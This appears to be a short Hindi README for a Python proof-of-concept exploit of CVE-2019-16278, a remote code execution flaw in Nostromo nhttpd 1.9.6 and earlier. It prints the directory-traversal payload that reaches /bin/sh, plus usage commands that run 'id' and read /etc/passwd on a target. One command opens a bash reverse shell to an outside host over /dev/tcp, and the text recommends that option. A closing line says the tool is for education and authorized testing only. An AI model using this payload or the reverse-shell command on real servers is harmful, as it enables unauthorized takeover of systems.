
Nostromo nhttpd ≤ 1.9.6 के लिए PoC RCE एक्सप्लॉइट
Nostromo nhttpd संस्करण <= 1.9.6 में HTTP अनुरोध प्रबंधन में डायरेक्ट्री ट्रैवर्सल के माध्यम से रिमोट कोड एक्ज़ीक्यूशन (Remote Code Execution) भेद्यता।
यह एक्सप्लॉइट URL-एन्कोडेड CRLF वर्णों (%0d) का उपयोग करके एक डायरेक्ट्री ट्रैवर्सल भेद्यता का लाभ उठाता है, जिससे /bin/sh तक पहुँचकर मनमाने कमांड निष्पादित किए जा सकते हैं।
/.%0d./.%0d./.%0d./.%0d./bin/shecho\necho\n<command> 2>&1python3 cve-2019-16278.py <TARGET_IP> <PORT> <COMMAND>
python3 cve-2019-16278.py 192.168.1.100 80 "id"
python3 cve-2019-16278.py 10.10.10.10 8080 "cat /etc/passwd"
python3 cve-2019-16278.py target.com 80 "whoami"
python3 cve-2019-16278.py 10.10.10.10 80 "bash -c 'bash -i >& /dev/tcp/10.10.20.20/4444 0>&1'"
रिवर्स शेल अनुशंसित है, कभी-कभी यह स्क्रिप्ट कुछ भी नहीं दिखाती
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है।